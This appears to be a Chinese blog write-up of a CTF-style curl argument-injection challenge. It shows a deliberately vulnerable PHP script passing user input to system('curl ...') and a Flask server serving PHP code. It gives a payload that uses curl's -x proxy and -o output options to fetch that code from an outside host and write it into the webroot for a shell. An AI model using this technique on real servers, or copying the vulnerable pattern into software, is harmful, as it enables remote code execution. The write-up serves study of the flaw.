bash curl参数注入题目

  1. 环境
  2. 复现过程

昨天在星球里,见到P神的题目的答案。研究了一下,顺便复现一下因此有了这篇博文

昂热并不太相信诅咒这种东西,他是那种要斩破命运的男人,
可当他觉察到上杉越和源稚生可能是父子的时候,还是觉得被某种类似命运的东西击中了

环境

<?php
if($_GET['name']){
        $name=$_GET['name'];
        $command="curl http://127.0.0.1/test.php?jack=$name";
        echo $command."<br>";
        system($command);
}elseif($_GET['jack']){
        echo $_GET['jack'];
}else{
        echo "Not GET name";
}
?>

复现过程

request Testing

尝试直接注入命令是不行的

curl http://127.0.0.1/test.php?jack=$name 的时候
执行的时候被当做url了,就是:http://127.0.0.1/test.php?jack=1&&whoami
所以是没有办法直接注入命令然后执行的

但是当curl ”http://127.0.0.1/test.php?jack=$name“ 明确的标明了url,就可以直接注入命令

这时只能通过命令本身的方法来进行操控,通过使用页面下载和代理的方法可以getshell

使用flask创建个Server

from flask import Flask
from werkzeug.routing import BaseConverter
class RegexConverter(BaseConverter):
    def __init__(self, map, *args):
        self.map = map
        self.regex = args[0]

app = Flask(__name__)
app.url_map.converters['regex'] = RegexConverter

@app.route('/<regex(".*"):url>')
def index(url):
    return "<?php phpinfo();?>"

if __name__ == '__main__':
    app.run(host='0.0.0.0')

curl -x 说明

payload:

http://192.168.241.174/test.php?name=phpinfo%20-x%20http://192.168.1.106:5000/%20-o%20jack.php


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:bash curl参数注入题目

本文作者:九世

发布时间:2020-05-01, 12:42:48

最后更新:2020-05-01, 13:02:24

原始链接:http://422926799.github.io/posts/409da64c.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录